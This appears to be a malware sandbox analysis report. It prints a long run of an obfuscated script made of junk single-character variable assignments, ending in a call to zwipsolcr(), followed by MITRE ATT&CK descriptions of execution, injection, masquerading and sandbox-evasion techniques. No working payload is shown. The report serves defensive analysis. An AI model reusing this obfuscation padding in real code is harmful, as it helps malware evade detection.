503	hvomkpfh = "O";
504	hvomkpfh = "R";
505	hvomkpfh = "l";
506	hvomkpfh = "F";
507	hvomkpfh = "i";
508	hvomkpfh = "U";
509	hvomkpfh = "R";
510	hvomkpfh = "T";
511	hvomkpfh = "X";
512	hvomkpfh = "w";
513	hvomkpfh = "D";
514	hvomkpfh = "C";
515	hvomkpfh = "l";
516	hvomkpfh = "k";
517	hvomkpfh = "N";
518	hvomkpfh = "b";
519	kvzoro = "f";
520	kvzoro = "o";
521	kvzoro = "I";
522	kvzoro = "l";
523	kvzoro = "s";
524	kvzoro = "q";
525	kvzoro = "x";
526	kvzoro = "Y";
527	kvzoro = "K";
528	kvzoro = "v";
529	kvzoro = "y";
530	kvzoro = "I";
531	kvzoro = "D";
532	kvzoro = "l";
533	kvzoro = "I";
534	kvzoro = "g";
535	kvzoro = "N";
536	kvzoro = "a";
537	kvzoro = "r";
538	kvzoro = "x";
539	kvzoro = "O";
540	kvzoro = "C";
541	kvzoro = "R";
542	kvzoro = "_";
543	irfsocwf = "T";
544	irfsocwf = "v";
545	irfsocwf = "Z";
546	irfsocwf = "F";
547	irfsocwf = "T";
548	irfsocwf = "h";
549	irfsocwf = "h";
550	irfsocwf = "e";
551	irfsocwf = "L";
552	irfsocwf = "u";
553	irfsocwf = "t";
554	irfsocwf = "T";
555	irfsocwf = "b";
556	irfsocwf = "W";
557	irfsocwf = "p";
558	irfsocwf = "x";
559	irfsocwf = "S";
560	irfsocwf = "v";
561	irfsocwf = "p";
562	irfsocwf = "v";
563	irfsocwf = "T";
564	irfsocwf = "i";
565	irfsocwf = "T";
566	irfsocwf = "W";
567	irfsocwf = "R";
568	irfsocwf = "V";
569	irfsocwf = "S";
570	irfsocwf = "I";
571	irfsocwf = "q";
572	irfsocwf = "h";
573	amtahunuf = "f";
574	amtahunuf = "Q";
575	amtahunuf = "W";
576	amtahunuf = "X";
577	amtahunuf = "r";
578	amtahunuf = "q";
579	amtahunuf = "f";
580	amtahunuf = "g";
581	amtahunuf = "d";
582	japlx = "H";
583	japlx = "L";
584	japlx = "V";
585	japlx = "C";
586	japlx = "q";
587	japlx = "a";
588	japlx = "S";
589	japlx = "c";
590	japlx = "s";
591	japlx = "y";
592	japlx = "c";
593	japlx = "F";
594	japlx = "d";
595	japlx = "y";
596	japlx = "p";
597	japlx = "Y";
598	japlx = "X";
599	japlx = "v";
600	japlx = "q";
601	japlx = "K";
602	japlx = "i";
603	japlx = "f";
604	japlx = "r";
605	japlx = "B";
606	japlx = "t";
607	japlx = "M";
608	japlx = "b";
609	japlx = "H";
610	japlx = "K";
611	japlx = "\\";
612	kfizo = "v";
613	kfizo = "d";
614	kfizo = "C";
615	kfizo = "z";
616	kfizo = "R";
617	kfizo = "L";
618	kfizo = "I";
619	kfizo = "i";
620	kfizo = "M";
621	kfizo = "r";
622	kfizo = "L";
623	kfizo = "q";
624	kfizo = "S";
625	kfizo = "D";
626	kfizo = "t";
627	kfizo = "t";
628	kfizo = "r";
629	kfizo = "g";
630	kfizo = "D";
631	kfizo = "J";
632	kfizo = "f";
633	kfizo = "e";
634	kfizo = "P";
635	kfizo = "B";
636	kfizo = "g";
637	kfizo = "Z";
638	kfizo = "B";
639	kfizo = "X";
640	kfizo = "\"";
641	jrmlwpsik = "h";
642	jrmlwpsik = "m";
643	jrmlwpsik = "b";
644	jrmlwpsik = "h";
645	jrmlwpsik = "T";
646	jrmlwpsik = "P";
647	jrmlwpsik = "Q";
648	jrmlwpsik = "O";
649	jrmlwpsik = "U";
650	jrmlwpsik = "p";
651	jrmlwpsik = "o";
652	jrmlwpsik = "A";
653	jrmlwpsik = "p";
654	jrmlwpsik = "I";
655	jrmlwpsik = ":";
656	zmsrqm = "f";
657	zmsrqm = "i";
658	zmsrqm = "K";
659	zmsrqm = "r";
660	zmsrqm = "g";
661	zmsrqm = "i";
662	rmyjgttf = "u";
663	rmyjgttf = "M";
664	rmyjgttf = "I";
665	rmyjgttf = "G";
666	rmyjgttf = "S";
667	rmyjgttf = "n";
668	rmyjgttf = "y";
669	rmyjgttf = "a";
670	rmyjgttf = "d";
671	rmyjgttf = "u";
672	rmyjgttf = "m";
673	rmyjgttf = "B";
674	rmyjgttf = "N";
675	rmyjgttf = "L";
676	rmyjgttf = "f";
677	rmyjgttf = "j";
678	rmyjgttf = "Y";
679	rmyjgttf = "q";
680	rmyjgttf = "u";
681	rmyjgttf = "I";
682	rmyjgttf = "o";
683	rmyjgttf = "A";
684	rmyjgttf = "q";
685	rmyjgttf = "V";
686	rmyjgttf = "t";
687	rmyjgttf = "P";
688	dsymnkg = "s";
689	dsymnkg = "v";
690	dsymnkg = "z";
691	dsymnkg = "r";
692	dsymnkg = "U";
693	dsymnkg = "h";
694	dsymnkg = "J";
695	dsymnkg = "f";
696	dsymnkg = "p";
697	dsymnkg = "z";
698	dsymnkg = "u";
699	dsymnkg = "q";
700	dsymnkg = "R";
701	dsymnkg = "v";
702	dsymnkg = "y";
703	dsymnkg = "Y";
704	dsymnkg = "D";
705	dsymnkg = "B";
706	dsymnkg = "k";
707	dsymnkg = "e";
708	dsymnkg = "w";
709	dsymnkg = "B";
710	dsymnkg = "G";
711	dsymnkg = "T";
712	dsymnkg = "a";
713	dsymnkg = "U";
714	dsymnkg = "t";
715	dsymnkg = "N";
716	dsymnkg = "W";
717	dsymnkg = "E";
718	dsymnkg = "G";
719	dsymnkg = "e";
720	dsymnkg = "e";
721	dsymnkg = "L";
722	dsymnkg = "n";
723	dsymnkg = "n";
724	dsymnkg = "H";
725	dsymnkg = "y";
726	dsymnkg = "K";
727	dsymnkg = "l";
728	dsymnkg = "u";
729	dsymnkg = "A";
730	dsymnkg = "Q";
731	xtotcf = "u";
732	xtotcf = "J";
733	xtotcf = "u";
734	xtotcf = "u";
735	xtotcf = "C";
736	xtotcf = "r";
737	xtotcf = "V";
738	xtotcf = "O";
739	xtotcf = "T";
740	xtotcf = "n";
741	xtotcf = "Q";
742	xtotcf = "p";
743	ihzxxgg = "w";
744	ihzxxgg = "o";
745	ihzxxgg = "c";
746	ihzxxgg = "p";
747	ihzxxgg = "l";
748	ihzxxgg = "L";
749	ihzxxgg = "X";
750	ihzxxgg = "o";
751	ihzxxgg = "M";
752	ihzxxgg = "P";
753	ihzxxgg = "A";
754	ihzxxgg = "h";
755	ihzxxgg = "Y";
756	ihzxxgg = "b";
757	ihzxxgg = "j";
758	ihzxxgg = "I";
759	ihzxxgg = "i";
760	ihzxxgg = "C";
761	ihzxxgg = "h";
762	ihzxxgg = "m";
763	ihzxxgg = "U";
764	ihzxxgg = "h";
765	ihzxxgg = "E";
766	ihzxxgg = "A";
767	ihzxxgg = "i";
768	ihzxxgg = "P";
769	ihzxxgg = "M";
770	ihzxxgg = "v";
771	ihzxxgg = "q";
772	ihzxxgg = "i";
773	ihzxxgg = "M";
774	ihzxxgg = "h";
775	ihzxxgg = "f";
776	ihzxxgg = "n";
777	ihzxxgg = "l";
778	ihzxxgg = "Z";
779	ihzxxgg = "T";
780	ihzxxgg = "U";
781	ihzxxgg = "Z";
782	ihzxxgg = "f";
783	frbehufp = "N";
784	frbehufp = "T";
785	frbehufp = "d";
786	frbehufp = "j";
787	frbehufp = "B";
788	frbehufp = "Z";
789	frbehufp = "k";
790	frbehufp = "n";
791	frbehufp = "F";
792	frbehufp = "A";
793	frbehufp = "B";
794	frbehufp = "Y";
795	frbehufp = "m";
796	frbehufp = "Z";
797	frbehufp = "H";
798	frbehufp = "y";
799	frbehufp = "F";
800	frbehufp = "j";
801	sfqthua = "y";
802	sfqthua = "k";
803	sfqthua = "z";
804	sfqthua = "p";
805	sfqthua = "Q";
806	sfqthua = "k";
807	sfqthua = "U";
808	sfqthua = "H";
809	sfqthua = "r";
810	sfqthua = "H";
811	gmcbllzx = "P";
812	gmcbllzx = "K";
813	gmcbllzx = "q";
814	gmcbllzx = "T";
815	gmcbllzx = "E";
816	gmcbllzx = "r";
817	gmcbllzx = "t";
818	gmcbllzx = "m";
819	gmcbllzx = "a";
820	gmcbllzx = "T";
821	gmcbllzx = "g";
822	gmcbllzx = "r";
823	gmcbllzx = "B";
824	gmcbllzx = "K";
825	gmcbllzx = "y";
826	gmcbllzx = "V";
827	gmcbllzx = "I";
828	gmcbllzx = "b";
829	gmcbllzx = "I";
830	gmcbllzx = "c";
831	gmcbllzx = "l";
832	gmcbllzx = "S";
833	gmcbllzx = "f";
834	gmcbllzx = "N";
835	gmcbllzx = "e";
836	gmcbllzx = "g";
837	gmcbllzx = "G";
838	gmcbllzx = "I";
839	gmcbllzx = "R";
840	gmcbllzx = "t";
841	gmcbllzx = "c";
842	gmcbllzx = "B";
843	gmcbllzx = "g";
844	gmcbllzx = "K";
845	gmcbllzx = "o";
846	gmcbllzx = "K";
847	gmcbllzx = "S";
848	gmcbllzx = "H";
849	gmcbllzx = "a";
850	gmcbllzx = "v";
851	gmcbllzx = "E";
852	gmcbllzx = "I";
853	wrrewjk = "I";
854	wrrewjk = "C";
855	wrrewjk = "A";
856	wrrewjk = "d";
857	wrrewjk = "S";
858	wrrewjk = "A";
859	wrrewjk = "H";
860	wrrewjk = "L";
861	wrrewjk = "A";
862	wrrewjk = "M";
863	wrrewjk = "3";
864	xcnjz = "P";
865	xcnjz = "I";
866	xcnjz = "b";
867	xcnjz = "U";
868	xcnjz = "O";
869	xcnjz = "h";
870	xcnjz = "z";
871	xcnjz = "o";
872	xcnjz = "w";
873	xcnjz = "K";
874	xcnjz = "C";
875	xcnjz = "q";
876	xcnjz = "o";
877	xcnjz = "U";
878	xcnjz = "m";
879	xcnjz = "x";
880	xcnjz = "m";
881	xcnjz = "e";
882	xcnjz = "Q";
883	xcnjz = "V";
884	xcnjz = "F";
885	xcnjz = "d";
886	xcnjz = "W";
887	xcnjz = "w";
888	xcnjz = "E";
889	xcnjz = "U";
890	xcnjz = "G";
891	xcnjz = "s";
892	xcnjz = "j";
893	xcnjz = "e";
894	xcnjz = "T";
895	xcnjz = "G";
896	xcnjz = "j";
897	xcnjz = "o";
898	oreypjbu = "d";
899	oreypjbu = "r";
900	oreypjbu = "a";
901	oreypjbu = "N";
902	oreypjbu = "X";
903	oreypjbu = "b";
904	oreypjbu = "r";
905	oreypjbu = "v";
906	oreypjbu = "W";
907	oreypjbu = "e";
908	oreypjbu = "l";
909	oreypjbu = "k";
910	oreypjbu = "y";
911	oreypjbu = "Q";
912	oreypjbu = "N";
913	oreypjbu = "M";
914	oreypjbu = "H";
915	oreypjbu = "p";
916	oreypjbu = "q";
917	yqqhgecmx = "L";
918	yqqhgecmx = "s";
919	yqqhgecmx = "i";
920	yqqhgecmx = "H";
921	yqqhgecmx = "Q";
922	yqqhgecmx = "L";
923	yqqhgecmx = "X";
924	yqqhgecmx = "K";
925	yqqhgecmx = "p";
926	yqqhgecmx = "E";
927	yqqhgecmx = "s";
928	yqqhgecmx = "n";
929	yqqhgecmx = "k";
930	yqqhgecmx = "g";
931	yqqhgecmx = "Y";
932	yqqhgecmx = "y";
933	yqqhgecmx = "C";
934	yqqhgecmx = "U";
935	yqqhgecmx = "b";
936	yqqhgecmx = "c";
937	yqqhgecmx = "P";
938	yqqhgecmx = "i";
939	yqqhgecmx = "p";
940	yqqhgecmx = "N";
941	yqqhgecmx = "q";
942	yqqhgecmx = "S";
943	yqqhgecmx = "w";
944	yqqhgecmx = "T";
945	yqqhgecmx = "U";
946	yqqhgecmx = "F";
947	yqqhgecmx = "r";
948	yqqhgecmx = "T";
949	yqqhgecmx = "j";
950	yqqhgecmx = "b";
951	yqqhgecmx = "x";
952	yqqhgecmx = "w";
953	yqqhgecmx = "u";
954	yqqhgecmx = "k";
955	yqqhgecmx = "p";
956	yqqhgecmx = "L";
957	yqqhgecmx = "n";
958	yqqhgecmx = "m";
959	yqqhgecmx = "Q";
960	yqqhgecmx = "m";
961	rbvluk = "p";
962	rbvluk = "g";
963	rbvluk = "I";
964	rbvluk = "J";
965	rbvluk = "A";
966	rbvluk = "O";
967	rbvluk = "k";
968	rbvluk = "b";
969	rbvluk = "R";
970	rbvluk = "e";
971	rbvluk = "y";
972	rbvluk = "A";
973	rbvluk = "h";
974	rbvluk = "N";
975	rbvluk = "e";
976	odoml = "c";
977	odoml = "E";
978	odoml = "L";
979	odoml = "H";
980	odoml = "z";
981	odoml = "R";
982	odoml = "j";
983	odoml = "g";
984	odoml = "H";
985	odoml = "r";
986	odoml = "L";
987	odoml = "J";
988	odoml = "t";
989	odoml = "o";
990	odoml = "k";
991	odoml = "F";
992	odoml = "q";
993	odoml = "Q";
994	odoml = "C";
995	odoml = "t";
996	mvuoy = "g";
997	mvuoy = "Q";
998	mvuoy = "S";
999	mvuoy = "v";
1000	mvuoy = "W";
1001	mvuoy = "v";
1002	mvuoy = "D";
1003	mvuoy = "D";
1004	mvuoy = "U";
1005	mvuoy = "U";
1006	mvuoy = "W";
1007	mvuoy = "D";
1008	mvuoy = "t";
1009	mvuoy = "d";
1010	mvuoy = "E";
1011	pwvyfibs = "V";
1012	pwvyfibs = "Q";
1013	pwvyfibs = "b";
1014	pwvyfibs = "R";
1015	pwvyfibs = "E";
1016	pwvyfibs = "b";
1017	pwvyfibs = "K";
1018	pwvyfibs = "B";
1019	pwvyfibs = "e";
1020	pwvyfibs = "S";
1021	pwvyfibs = "B";
1022	pwvyfibs = "z";
1023	pwvyfibs = "D";
1024	pwvyfibs = "l";
1025	pwvyfibs = "F";
1026	pwvyfibs = "H";
1027	pwvyfibs = "L";
1028	pwvyfibs = "i";
1029	pwvyfibs = "c";
1030	pwvyfibs = "K";
1031	pwvyfibs = "R";
1032	pwvyfibs = "R";
1033	pwvyfibs = "n";
1034	pwvyfibs = "i";
1035	pwvyfibs = "o";
1036	pwvyfibs = "C";
1037	pwvyfibs = "j";
1038	pwvyfibs = "b";
1039	pwvyfibs = "S";
1040	pwvyfibs = "g";
1041	pwvyfibs = "o";
1042	pwvyfibs = "F";
1043	pwvyfibs = "Y";
1044	pwvyfibs = "v";
1045	pwvyfibs = "L";
1046	xqlyydq = "X";
1047	xqlyydq = "I";
1048	xqlyydq = "C";
1049	xqlyydq = "f";
1050	xqlyydq = "w";
1051	xqlyydq = "u";
1052	xqlyydq = "F";
1053	xqlyydq = "s";
1054	xqlyydq = "O";
1055	xqlyydq = "V";
1056	xqlyydq = "Z";
1057	xqlyydq = "/";
1058	izasgo = "K";
1059	izasgo = "k";
1060	izasgo = "g";
1061	izasgo = "s";
1062	izasgo = "e";
1063	izasgo = "c";
1064	izasgo = "l";
1065	izasgo = "w";
1066	izasgo = "f";
1067	izasgo = "t";
1068	izasgo = "q";
1069	izasgo = "t";
1070	izasgo = "y";
1071	izasgo = "j";
1072	izasgo = "G";
1073	izasgo = "Z";
1074	izasgo = "O";
1075	izasgo = "r";
1076	izasgo = "V";
1077	izasgo = "%";
1078	qsnpqj = "f";
1079	qsnpqj = "v";
1080	qsnpqj = "X";
1081	qsnpqj = "G";
1082	qsnpqj = "e";
1083	qsnpqj = "C";
1084	qsnpqj = "N";
1085	qsnpqj = "S";
1086	fqzylak = "w";
1087	fqzylak = "a";
1088	fqzylak = "J";
1089	fqzylak = "Z";
1090	fqzylak = "v";
1091	fqzylak = "L";
1092	fqzylak = "n";
1093	fqzylak = "Q";
1094	fqzylak = "h";
1095	fqzylak = "a";
1096	fqzylak = "Y";
1097	fqzylak = "n";
1098	fqzylak = "N";
1099	fqzylak = "A";
1100	fqzylak = "K";
1101	vwhwt = "K";
1102	vwhwt = "n";
1103	vwhwt = "J";
1104	vwhwt = "G";
1105	vwhwt = "i";
1106	vwhwt = "k";
1107	vwhwt = "B";
1108	vwhwt = "x";
1109	vwhwt = "I";
1110	vwhwt = "n";
1111	vwhwt = "C";
1112	vwhwt = "Z";
1113	vwhwt = "k";
1114	vwhwt = "H";
1115	vwhwt = "d";
1116	vwhwt = "y";
1117	vwhwt = "Y";
1118	vwhwt = "y";
1119	vwhwt = "T";
1120	vwhwt = "W";
1121	vwhwt = "G";
1122	vwhwt = "V";
1123	vwhwt = "s";
1124	vwhwt = "d";
1125	vwhwt = "M";
1126	vwhwt = "X";
1127	vwhwt = "W";
1128	vwhwt = "d";
1129	vwhwt = "k";
1130	vwhwt = "A";
1131	vwhwt = "w";
1132	jnvzj = "s";
1133	jnvzj = "w";
1134	jnvzj = "A";
1135	jnvzj = "f";
1136	jnvzj = "G";
1137	jnvzj = "Q";
1138	jnvzj = "c";
1139	jnvzj = "J";
1140	jnvzj = "X";
1141	jnvzj = "j";
1142	jnvzj = "l";
1143	jnvzj = "A";
1144	jnvzj = "t";
1145	jnvzj = "O";
1146	jnvzj = "O";
1147	jnvzj = "s";
1148	jnvzj = "G";
1149	jnvzj = "B";
1150	jnvzj = "L";
1151	jnvzj = "I";
1152	jnvzj = "s";
1153	jnvzj = "J";
1154	jnvzj = "c";
1155	jnvzj = "M";
1156	jnvzj = "P";
1157	jnvzj = "H";
1158	jnvzj = "O";
1159	jnvzj = "R";
1160	jnvzj = "v";
1161	jnvzj = "x";
1162	jnvzj = "e";
1163	jnvzj = "b";
1164	jnvzj = "H";
1165	jnvzj = "l";
1166	jnvzj = "1";
1167	pwsssvn = "Q";
1168	pwsssvn = "n";
1169	pwsssvn = "W";
1170	pwsssvn = "n";
1171	pwsssvn = "j";
1172	pwsssvn = "S";
1173	pwsssvn = "o";
1174	pwsssvn = "x";
1175	pwsssvn = "w";
1176	pwsssvn = "U";
1177	pwsssvn = "H";
1178	pwsssvn = "M";
1179	pwsssvn = "k";
1180	pwsssvn = "P";
1181	pwsssvn = "A";
1182	pwsssvn = "S";
1183	pwsssvn = "h";
1184	pwsssvn = "Y";
1185	pwsssvn = "t";
1186	pwsssvn = "y";
1187	pwsssvn = "T";
1188	pwsssvn = "E";
1189	pwsssvn = "L";
1190	pwsssvn = "Q";
1191	pwsssvn = "Y";
1192	utxlv = "F";
1193	utxlv = "P";
1194	utxlv = "Z";
1195	utxlv = "S";
1196	utxlv = "e";
1197	utxlv = "Y";
1198	utxlv = "I";
1199	utxlv = "j";
1200	utxlv = "W";
1201	utxlv = "N";
1202	utxlv = "p";
1203	utxlv = "A";
1204	utxlv = "T";
1205	utxlv = "P";
1206	utxlv = "T";
1207	utxlv = "N";
1208	utxlv = "K";
1209	utxlv = "K";
1210	utxlv = "E";
1211	utxlv = "Z";
1212	utxlv = "U";
1213	utxlv = "y";
1214	utxlv = "e";
1215	utxlv = "Q";
1216	utxlv = "b";
1217	utxlv = "N";
1218	utxlv = "I";
1219	utxlv = "Q";
1220	utxlv = "r";
1221	utxlv = "d";
1222	utxlv = "Q";
1223	utxlv = "U";
1224	utxlv = "d";
1225	utxlv = "O";
1226	utxlv = "k";
1227	utxlv = "E";
1228	utxlv = "W";
1229	utxlv = "G";
1230	utxlv = "J";
1231	utxlv = "r";
1232	utxlv = "I";
1233	utxlv = "l";
1234	utxlv = "5";
1235	ffcwjmf = "h";
1236	ffcwjmf = "l";
1237	ffcwjmf = "T";
1238	ffcwjmf = "p";
1239	ffcwjmf = "s";
1240	ffcwjmf = "l";
1241	ffcwjmf = "K";
1242	ffcwjmf = "r";
1243	ffcwjmf = "p";
1244	ffcwjmf = "X";
1245	ffcwjmf = "G";
1246	ffcwjmf = "w";
1247	ffcwjmf = "T";
1248	ffcwjmf = "R";
1249	nkrlfbqok = "O";
1250	nkrlfbqok = "A";
1251	nkrlfbqok = "T";
1252	nkrlfbqok = "t";
1253	nkrlfbqok = "J";
1254	nkrlfbqok = "G";
1255	nkrlfbqok = "L";
1256	nkrlfbqok = "V";
1257	nkrlfbqok = "j";
1258	nkrlfbqok = "E";
1259	nkrlfbqok = "f";
1260	nkrlfbqok = "H";
1261	nkrlfbqok = "I";
1262	nkrlfbqok = "E";
1263	nkrlfbqok = "g";
1264	nkrlfbqok = "E";
1265	nkrlfbqok = "g";
1266	nkrlfbqok = "Z";
1267	nkrlfbqok = "n";
1268	nkrlfbqok = "c";
1269	nkrlfbqok = "Q";
1270	nkrlfbqok = "R";
1271	nkrlfbqok = "e";
1272	nkrlfbqok = "K";
1273	nkrlfbqok = "O";
1274	nkrlfbqok = "b";
1275	nkrlfbqok = "Q";
1276	nkrlfbqok = "h";
1277	nkrlfbqok = "c";
1278	nkrlfbqok = "L";
1279	nkrlfbqok = "H";
1280	nkrlfbqok = "r";
1281	ebzoday = "j";
1282	ebzoday = "z";
1283	ebzoday = "t";
1284	ebzoday = "U";
1285	ebzoday = "Y";
1286	ebzoday = "u";
1287	ebzoday = "F";
1288	ebzoday = "D";
1289	ebzoday = "k";
1290	ebzoday = "D";
1291	ebzoday = "o";
1292	ebzoday = "t";
1293	ebzoday = "M";
1294	ebzoday = "l";
1295	ebzoday = "J";
1296	ebzoday = "A";
1297	ebzoday = "W";
1298	ebzoday = "F";
1299	ebzoday = "j";
1300	ebzoday = "p";
1301	ebzoday = "v";
1302	ebzoday = "E";
1303	ebzoday = "d";
1304	ebzoday = "a";
1305	ebzoday = "F";
1306	ebzoday = "E";
1307	ebzoday = "v";
1308	ebzoday = "n";
1309	ebzoday = "h";
1310	ebzoday = "P";
1311	ebzoday = "n";
1312	ebzoday = "E";
1313	ebzoday = "L";
1314	ebzoday = "I";
1315	ebzoday = "G";
1316	ebzoday = "m";
1317	ebzoday = "h";
1318	ebzoday = "a";
1319	yuflb = "J";
1320	yuflb = "D";
1321	yuflb = "c";
1322	yuflb = "z";
1323	yuflb = "v";
1324	yuflb = "x";
1325	yuflb = "X";
1326	yuflb = "Z";
1327	yuflb = "x";
1328	vetonkgjl = "R";
1329	vetonkgjl = "Y";
1330	vetonkgjl = "C";
1331	vetonkgjl = "z";
1332	vetonkgjl = "d";
1333	vetonkgjl = "d";
1334	vetonkgjl = "W";
1335	vetonkgjl = "k";
1336	vetonkgjl = "i";
1337	vetonkgjl = "a";
1338	vetonkgjl = "x";
1339	vetonkgjl = "R";
1340	vetonkgjl = "b";
1341	vetonkgjl = "M";
1342	vetonkgjl = "W";
1343	vetonkgjl = "J";
1344	vetonkgjl = "l";
1345	vetonkgjl = "P";
1346	vetonkgjl = "G";
1347	vetonkgjl = "d";
1348	vetonkgjl = "A";
1349	vetonkgjl = "L";
1350	vetonkgjl = "r";
1351	vetonkgjl = "W";
1352	vetonkgjl = "w";
1353	vetonkgjl = "O";
1354	vetonkgjl = "O";
1355	vetonkgjl = "d";
1356	vetonkgjl = "w";
1357	vetonkgjl = "h";
1358	vetonkgjl = "S";
1359	vetonkgjl = "R";
1360	vetonkgjl = "Q";
1361	vetonkgjl = "f";
1362	vetonkgjl = "u";
1363	vetonkgjl = "o";
1364	vetonkgjl = "n";
1365	vetonkgjl = "r";
1366	vetonkgjl = "n";
1367	foiupiej = "M";
1368	foiupiej = "p";
1369	foiupiej = "j";
1370	foiupiej = "D";
1371	foiupiej = "K";
1372	foiupiej = "v";
1373	foiupiej = "z";
1374	foiupiej = "N";
1375	foiupiej = "b";
1376	foiupiej = "v";
1377	foiupiej = "a";
1378	foiupiej = "O";
1379	foiupiej = "m";
1380	foiupiej = "Y";
1381	foiupiej = "k";
1382	foiupiej = "p";
1383	foiupiej = "q";
1384	foiupiej = "E";
1385	foiupiej = "j";
1386	foiupiej = "P";
1387	foiupiej = "Y";
1388	foiupiej = "H";
1389	foiupiej = "B";
1390	foiupiej = "r";
1391	foiupiej = "e";
1392	foiupiej = "V";
1393	foiupiej = "W";
1394	foiupiej = "J";
1395	foiupiej = "J";
1396	foiupiej = "o";
1397	foiupiej = "G";
1398	foiupiej = "D";
1399	foiupiej = "K";
1400	foiupiej = "Y";
1401	foiupiej = "8";
1402	qnbwmvndy = "i";
1403	qnbwmvndy = "X";
1404	qnbwmvndy = "X";
1405	qnbwmvndy = "S";
1406	qnbwmvndy = "r";
1407	qnbwmvndy = "p";
1408	qnbwmvndy = "J";
1409	qnbwmvndy = "i";
1410	qnbwmvndy = "Z";
1411	qnbwmvndy = "v";
1412	qnbwmvndy = "z";
1413	qnbwmvndy = "X";
1414	qnbwmvndy = "u";
1415	qnbwmvndy = "t";
1416	qnbwmvndy = "q";
1417	qnbwmvndy = "e";
1418	qnbwmvndy = "s";
1419	qnbwmvndy = "m";
1420	qnbwmvndy = "b";
1421	qnbwmvndy = "E";
1422	qnbwmvndy = "F";
1423	qnbwmvndy = "S";
1424	qnbwmvndy = "i";
1425	qnbwmvndy = "b";
1426	qnbwmvndy = "v";
1427	qnbwmvndy = "F";
1428	qnbwmvndy = "u";
1429	qnbwmvndy = "p";
1430	qnbwmvndy = "d";
1431	qnbwmvndy = "e";
1432	qnbwmvndy = "F";
1433	zwipsolcr ( );	zwipsolcr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
